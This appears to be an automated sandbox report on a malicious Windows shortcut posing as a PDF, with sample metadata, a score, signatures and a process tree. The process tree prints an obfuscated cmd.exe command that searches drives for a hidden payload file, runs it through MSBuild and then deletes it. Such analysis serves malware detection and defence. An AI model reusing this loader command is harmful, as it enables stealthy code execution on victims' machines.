Analysis
- max time kernel
299s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
09/07/2026, 17:05
General
- Target Secure Document CA-759401.pdf.lnk
- Size 2KB
- Sample260709-vmarsses6m
- SHA256 94d65bfd648a8c6ba9d05f48d89f11b0614128def305d881766397eed481a8cf
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Secure Document CA-759401.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:On /c set _vav=Microsoft.NET\&set _nlr=Framework64\v4.0&set _c=.30319\MSBuild.exe&set _s=/clp:ErrorsOnly &set _wsh=/nol&set _hn=ogo&@set "_d9="&(for %j in (S O D G P I E U R Q M Y F X Z L N T K V H J W) do @if exist "%j:\Microsoft Document Logs\nwboj.cfg" @copy /Y "%j:\Microsoft Document Logs\nwboj.cfg" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul & @if exist "%j:\nwboj.cfg" @copy /Y "%j:\nwboj.cfg" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul) & "C:\Windows\!_vav!!_nlr!!_c!" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" !_s!!_wsh!!_hn! >nul 2>nul & ERASE "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" /clp:ErrorsOnly /nologo3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3976-0-0x00007FFCA30FF000-0x00007FFCA3100000-memory.dmp
memory/3976-1-0x000001CB8CD00000-0x000001CB8CD3E000-memory.dmp
memory/3976-2-0x000001CB8D1D0000-0x000001CB8D1EA000-memory.dmp
memory/3976-3-0x000001CBA7460000-0x000001CBA75BA000-memory.dmp
memory/3976-4-0x00007FFCA2F70000-0x00007FFCA3914000-memory.dmp
memory/3976-5-0x00007FFCA2F70000-0x00007FFCA3914000-memory.dmp